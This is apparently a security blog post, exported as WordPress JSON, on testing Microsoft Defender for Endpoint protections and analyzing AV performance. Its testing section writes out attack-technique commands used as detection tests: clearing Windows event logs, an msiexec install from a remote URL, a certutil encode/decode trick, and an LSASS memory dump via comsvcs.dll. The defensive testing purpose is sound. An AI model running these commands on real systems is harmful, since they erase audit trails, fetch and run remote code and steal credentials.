class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"380\" src=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-6-1024x380.png\" alt=\"\" class=\"wp-image-5988\" srcset=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-6-1024x380.png 1024w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-6-300x111.png 300w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-6-768x285.png 768w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-6-585x217.png 585w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-6.png 1307w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><strong>Analyze the recording file<\/strong><\/p>\n\n\n\n<p>With the PowerShell command <strong>Get-MpPerformanceReport <\/strong>it is possible to analyze the recording more in-depth. <\/p>\n\n\n\n<p>Collect top 10 TopFiles, TopExtensions, TopProcesses and TopScans<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Get-MpPerformanceReport -Path:.\\recording.etl -TopFiles:10 -TopExtensions:10 -TopProcesses:10 -TopScans:10\n<\/code><\/pre>\n\n\n\n<p>In the below example there is a view with the TopExtensions and TopProcesses. TopExtension is .db where Top process is Spotify with a count of 30. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"604\" src=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-7-1024x604.png\" alt=\"\" class=\"wp-image-5990\" srcset=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-7-1024x604.png 1024w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-7-300x177.png 300w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-7-768x453.png 768w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-7-1536x906.png 1536w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-7-585x345.png 585w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-7.png 1576w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>Important: Always check if exclusions are needed, and avoid adding exclusions when possible. <\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>Start with the performance analyzer first, more in-depth troubleshooting tools such as ProcMon and WPR can be used for getting more insights from the system. <\/p>\n\n\n\n<p>More information: <a href=\"https:\/\/learn.microsoft.com\/en-us\/microsoft-365\/security\/defender-endpoint\/tune-performance-defender-antivirus?view=o365-worldwide\">Performance analyzer for Microsoft Defender Antivirus | Microsoft Learn<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Test protections state<\/h2>\n\n\n\n<p>Previously AV solutions were tested with the use of Eicar. I&#8217;m not a huge fan of testing with Eicar. Ideally, test with some advanced testing. A good example is Red Atomic or the simulation lab of Defender for Endpoint. <\/p>\n\n\n\n<p>Testing the protection state is important for testing the protection features and alerting\/ detection capabilities in Defender for Endpoint. Based on MDE we have various components to test:<\/p>\n\n\n\n<ul>\n<li>Network Protection<\/li>\n\n\n\n<li>Defender AV\/ Cloud Protection<\/li>\n\n\n\n<li>EDR component<\/li>\n\n\n\n<li>C2 Network Protection<\/li>\n\n\n\n<li>Additional exploit guard (ASR, SmartScreen)<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">EDR test: Clean Windows Event logs<\/h3>\n\n\n\n<p>Run the following commands for checking the EDR reporting capabilities for malicious activities (cleaning Windows event logs)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>wevtutil cl system\nwevtutil cl application\nwevtutil cl security<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">EDR test: create a scheduled task<\/h3>\n\n\n\n<p>For testing MITRE T1053 create a scheduled task. When correctly configured Defender for Endpoint alerts for a masqueraded task or service. <\/p>\n\n\n\n<p>Run the following command:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>schtasks \/Create \/F \/SC MINUTE \/MO 3 \/ST 07:00 \/TN CMDTestTask \/TR \"cmd \/c date \/T &gt; C:\\Windows\\Temp\\current_date.txt\"<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">EDR test: use of living off the land binary to run malicious code<\/h3>\n\n\n\n<p>Testing the execution of LOLBAS payload. <\/p>\n\n\n\n<p>Run the following command:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msiexec \/q \/i https:\/\/github.com\/op7ic\/EDR-Testing-Script\/blob\/master\/Payloads\/notepad.msi?raw=true<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">AV+EDR test: Encode Certutil and decode<\/h3>\n\n\n\n<p>Encode Certutil rename and decode. When configured correctly the process must be blocked by Defender AV behavior monitoring. <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>copy %windir%\\system32\\certutil.exe %temp%\\tcm.tmp\n%temp%\\tcm.tmp -encode C:\\Windows\\System32\\calc.exe %temp%\\T1140_calc2.txt\n%temp%\\tcm.tmp -decode %temp%\\T1140_calc2.txt %temp%\\T1140_calc2_decoded.exe<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">AV test: Dump LSASS.exe memory using comsvcs.dll<\/h3>\n\n\n\n<p>Run the following PowerShell command line for dumping LSASS.exe memory using comsvcs.dll.  In all situations, the lsassdump hack tool must be prevented from running and dumping the secrets. <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>C:\\Windows\\System32\\rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\\lsass-comsvcs.dmp full<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">AV test: Block at First Sight<\/h3>\n\n\n\n<p>Block at First Sight is a feature of Microsoft Defender Antivirus cloud-delivered protection that blocks and detect new malware within some seconds. Use the following test site for testing the BAFS feature: <a href=\"https:\/\/demo.wd.microsoft.com\/Page\/BAFS\">BAFS &#8211; Microsoft Defender Testground<\/a><\/p>\n\n\n\n<p>When correctly configured the file must be blocked automatically. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">AV test: Cloud-delivered protection<\/h3>\n\n\n\n<p>When Cloud-delivered protection is enabled and correctly configured the file must be blocked. Download the test file. When detected\/ blocked by Defender SmartScreen make sure the file is downloaded. <\/p>\n\n\n\n<p>For more information see: <a href=\"https:\/\/learn.microsoft.com\/en-us\/microsoft-365\/security\/defender-endpoint\/defender-endpoint-demonstration-cloud-delivered-protection?view=o365-worldwide\">Microsoft Defender for Endpoint Cloud-delivered protection demonstration | Microsoft Learn<\/a><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">AV test: Network Protection<\/h3>\n\n\n\n<p>Network protection is critical and part of Defender. As already explained in the earlier parts SmartScreen must be enabled for Microsoft Edge, for all 3rd-party browsers Network Protection must be in block mode. <\/p>\n\n\n\n<p>Testing is possible by adding some indicators with the state <strong>block <\/strong>or using the test websites created by Microsoft. <\/p>\n\n\n\n<p>Use the following website for testing Network Protection or SmartScreen: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>https:&#47;&#47;smartscreentestratings2.net\/<\/code><\/pre>\n\n\n\n<p>Expected result in Chrome: <\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-8-1024x595.png\" alt=\"\" class=\"wp-image-5991\" width=\"604\" height=\"350\" srcset=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-8-1024x595.png 1024w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-8-300x174.png 300w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-8-1536x893.png 1536w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-8-585x340.png 585w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-8.png 1548w\" sizes=\"(max-width: 604px) 100vw, 604px\" \/><\/figure>\n\n\n\n<p>Expected result in Microsoft Edge: <\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-9-1024x479.png\" alt=\"\" class=\"wp-image-5992\" width=\"616\" height=\"288\" srcset=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-9-1024x479.png 1024w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-9-300x140.png 300w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-9-768x359.png 768w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-9-1536x718.png 1536w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-9-585x273.png 585w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-9.png 2047w\" sizes=\"(max-width: 616px) 100vw, 616px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">AV test: Network Protection Command and Control<\/h3>\n\n\n\n<p>For testing the Command and Control (C2) detections in Defender for Endpoint\/ Defender AV the Defender C2 test URL can be used. <\/p>\n\n\n\n<p>Open PowerShell and run the following command:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Invoke-WebRequest -URI https:\/\/commandcontrol.smartscreentestratings.com<\/code><\/pre>\n\n\n\n<p>When correct the request was aborted with the following error: Could not create SSL\/ TLS secure channel. Directly after running the PowerShell process is closed automatically. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"482\" src=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/02\/image-37-1024x482.png\" alt=\"\" class=\"wp-image-6380\" srcset=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/02\/image-37-1024x482.png 1024w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/02\/image-37-300x141.png 300w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/02\/image-37-768x361.png 768w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/02\/image-37-1536x723.png 1536w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/02\/image-37-2048x963.png 2048w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/02\/image-37-585x275.png 585w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Defender for Endpoint &#8211; Evaluation &amp; tutorials<\/h3>\n\n\n\n<p>Part of Defender for Endpoint is the simulations and tutorials page. For each device the Microsoft simulations and Atomic Red team simulation files can be used for advanced testing. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"587\" src=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-12-1024x587.png\" alt=\"\" class=\"wp-image-5996\" srcset=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-12-1024x587.png 1024w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-12-300x172.png 300w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-12-768x440.png 768w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-12-1536x880.png 1536w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-12-2048x1173.png 2048w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-12-585x335.png 585w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Use the tutorials created by Microsoft for specific testing. The tutorials page contains test situations for document backdoors; fileless attacks; backdoor and custom detections. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"436\" src=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/2023-01-03_14-59-59-1024x436.png\" alt=\"\" class=\"wp-image-5998\" srcset=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/2023-01-03_14-59-59-1024x436.png 1024w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/2023-01-03_14-59-59-300x128.png 300w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/2023-01-03_14-59-59-768x327.png 768w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/2023-01-03_14-59-59-1536x654.png 1536w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/2023-01-03_14-59-59-2048x872.png 2048w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/2023-01-03_14-59-59-585x249.png 585w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Conclusion<\/h2>\n\n\n\n<p><strong>Part 6&nbsp;<\/strong>of the&nbsp;<a href=\"https:\/\/jeffreyappel.nl\/tag\/mde-series\/\">Microsoft Defender for Endpoint series is completed<\/a>&nbsp;\u2013 focused on the explanation for testing Defender AV\/ Defender for Endpoint more in-depth and troubleshooting steps. <\/p>\n\n\n\n<p>Searching for specific Defender for Endpoint information? Use the&nbsp;<a href=\"https:\/\/jeffreyappel.nl\/contact-form-content-request\/\">contact submission<\/a>&nbsp;form and share the post ideas or contact using&nbsp;<a href=\"https:\/\/www.linkedin.com\/in\/jeffrey-appel-671400198\/\">Linkedin<\/a>&nbsp;or&nbsp;<a href=\"https:\/\/twitter.com\/JeffreyAppel7\">Twitter<\/a>. I will take all suggestions into the Defender for Endpoint series and help the community as far as possible.<\/p>\n\n\n\n<p><a href=\"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-defender-vulnerability-management-part5\/\"><strong>View previous part \u2013 Microsoft Defender for Endpoint series \u2013 Defender Vulnerability Management \u2013 Part5<\/strong><\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-integrations-with-other-products\/\"><strong>View next part \u2013 integrations with other products \u2013 Part7<\/strong><\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Sources<\/h2>\n\n\n\n<p>Microsoft: <a href=\"https:\/\/learn.microsoft.com\/en-us\/microsoft-365\/security\/defender-endpoint\/download-client-analyzer?view=o365-worldwide\">Download the Microsoft Defender for Endpoint client analyzer | Microsoft Learn<\/a><\/p>\n\n\n\n<p>Microsoft: <a href=\"https:\/\/learn.microsoft.com\/en-us\/microsoft-365\/security\/defender-endpoint\/troubleshoot-onboarding?view=o365-worldwide\">Troubleshoot Microsoft Defender for Endpoint onboarding issues | Microsoft Learn<\/a><\/p>\n\n\n\n<p>Microsoft: <a href=\"https:\/\/learn.microsoft.com\/en-us\/microsoft-365\/security\/defender-endpoint\/fix-unhealthy-sensors?view=o365-worldwide\">Fix unhealthy sensors in Microsoft Defender for Endpoint | Microsoft Learn<\/a><\/p>\n\n\n\n<p>Microsoft: <a href=\"https:\/\/learn.microsoft.com\/en-us\/microsoft-365\/security\/defender-endpoint\/event-error-codes?view=o365-worldwide\">Review events and errors using Event Viewer | Microsoft Learn<\/a><\/p>\n\n\n\n<p>Microsoft: <a href=\"https:\/\/learn.microsoft.com\/en-us\/microsoft-365\/security\/defender-endpoint\/overview-client-analyzer?view=o365-worldwide\">Troubleshoot sensor health using Microsoft Defender for Endpoint Client Analyzer | Microsoft Learn<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>It is time for part 6 of the Microsoft Defender for Endpoint (MDE) series. All previous parts were focused on onboarding and configuration and Microsoft Defender Vulnerability Management. Now it is time for the initial testing of the Defender for&#8230;<\/p>\n","protected":false},"author":1,"featured_media":6016,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[189],"tags":[219,239],"table_tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Validate Defender for Endpoint protection and additional troubleshooting<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Validate Defender for Endpoint protection and additional troubleshooting\" \/>\n<meta property=\"og:description\" content=\"It is time for part 6 of the Microsoft Defender for Endpoint (MDE) series. All previous parts were focused on onboarding and configuration and Microsoft Defender Vulnerability Management. Now it is time for the initial testing of the Defender for...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/\" \/>\n<meta property=\"og:site_name\" content=\"Jeffrey Appel - Microsoft Security blog\" \/>\n<meta property=\"article:published_time\" content=\"2023-01-03T19:51:44+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-01-03T16:28:05+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/IMG149.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1280\" \/>\n\t<meta property=\"og:image:height\" content=\"720\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Jeffrey\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Jeffrey\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"18 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/\",\"url\":\"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/\",\"name\":\"Validate Defender for Endpoint protection and additional troubleshooting\",\"isPartOf\":{\"@id\":\"https:\/\/jeffreyappel.nl\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/IMG149.png\",\"datePublished\":\"2023-01-03T19:51:44+00:00\",\"dateModified\":\"2024-01-03T16:28:05+00:00\",\"author\":{\"@id\":\"https:\/\/jeffreyappel.nl\/#\/schema\/person\/ebdd80b67674ad29968ad249abc89c42\"},\"breadcrumb\":{\"@id\":\"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/#primaryimage\",\"url\":\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/IMG149.png\",\"contentUrl\":\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/IMG149.png\",\"width\":1280,\"height\":720},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/jeffreyappel.nl\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Microsoft Defender for Endpoint series \u2013 Validate Defender protection and additional troubleshooting \u2013 Part6\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/jeffreyappel.nl\/#website\",\"url\":\"https:\/\/jeffreyappel.nl\/\",\"name\":\"Jeffrey Appel - Microsoft Security blog\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/jeffreyappel.nl\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/jeffreyappel.nl\/#\/schema\/person\/ebdd80b67674ad29968ad249abc89c42\",\"name\":\"Jeffrey\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/jeffreyappel.nl\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/37bbb7acc360ea70a60f26ca4548d940?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/37bbb7acc360ea70a60f26ca4548d940?s=96&d=mm&r=g\",\"caption\":\"Jeffrey\"},\"url\":\"https:\/\/jeffreyappel.nl\/author\/contact\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Validate Defender for Endpoint protection and additional troubleshooting","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/","og_locale":"en_US","og_type":"article","og_title":"Validate Defender for Endpoint protection and additional troubleshooting","og_description":"It is time for part 6 of the Microsoft Defender for Endpoint (MDE) series. All previous parts were focused on onboarding and configuration and Microsoft Defender Vulnerability Management. Now it is time for the initial testing of the Defender for...","og_url":"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/","og_site_name":"Jeffrey Appel - Microsoft Security blog","article_published_time":"2023-01-03T19:51:44+00:00","article_modified_time":"2024-01-03T16:28:05+00:00","og_image":[{"width":1280,"height":720,"url":"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/IMG149.png","type":"image\/png"}],"author":"Jeffrey","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Jeffrey","Est. reading time":"18 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/","url":"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/","name":"Validate Defender for Endpoint protection and additional troubleshooting","isPartOf":{"@id":"https:\/\/jeffreyappel.nl\/#website"},"primaryImageOfPage":{"@id":"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/#primaryimage"},"image":{"@id":"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/#primaryimage"},"thumbnailUrl":"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/IMG149.png","datePublished":"2023-01-03T19:51:44+00:00","dateModified":"2024-01-03T16:28:05+00:00","author":{"@id":"https:\/\/jeffreyappel.nl\/#\/schema\/person\/ebdd80b67674ad29968ad249abc89c42"},"breadcrumb":{"@id":"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/#primaryimage","url":"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/IMG149.png","contentUrl":"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/IMG149.png","width":1280,"height":720},{"@type":"BreadcrumbList","@id":"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/jeffreyappel.nl\/"},{"@type":"ListItem","position":2,"name":"Microsoft Defender for Endpoint series \u2013 Validate Defender protection and additional troubleshooting \u2013 Part6"}]},{"@type":"WebSite","@id":"https:\/\/jeffreyappel.nl\/#website","url":"https:\/\/jeffreyappel.nl\/","name":"Jeffrey Appel - Microsoft Security blog","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/jeffreyappel.nl\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/jeffreyappel.nl\/#\/schema\/person\/ebdd80b67674ad29968ad249abc89c42","name":"Jeffrey","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/jeffreyappel.nl\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/37bbb7acc360ea70a60f26ca4548d940?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/37bbb7acc360ea70a60f26ca4548d940?s=96&d=mm&r=g","caption":"Jeffrey"},"url":"https:\/\/jeffreyappel.nl\/author\/contact\/"}]}},"amp_enabled":false,"_links":{"self":[{"href":"https:\/\/jeffreyappel.nl\/wp-json\/wp\/v2\/posts\/5970"}],"collection":[{"href":"https:\/\/jeffreyappel.nl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jeffreyappel.nl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jeffreyappel.nl\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/jeffreyappel.nl\/wp-json\/wp\/v2\/comments?post=5970"}],"version-history":[{"count":22,"href":"https:\/\/jeffreyappel.nl\/wp-json\/wp\/v2\/posts\/5970\/revisions"}],"predecessor-version":[{"id":7672,"href":"https:\/\/jeffreyappel.nl\/wp-json\/wp\/v2\/posts\/5970\/revisions\/7672"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/jeffreyappel.nl\/wp-json\/wp\/v2\/media\/6016"}],"wp:attachment":[{"href":"https:\/\/jeffreyappel.nl\/wp-json\/wp\/v2\/media?parent=5970"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jeffreyappel.nl\/wp-json\/wp\/v2\/categories?post=5970"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jeffreyappel.nl\/wp-json\/wp\/v2\/tags?post=5970"},{"taxonomy":"table_tags","embeddable":true,"href":"https:\/\/jeffreyappel.nl\/wp-json\/wp\/v2\/table_tags?post=5970"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}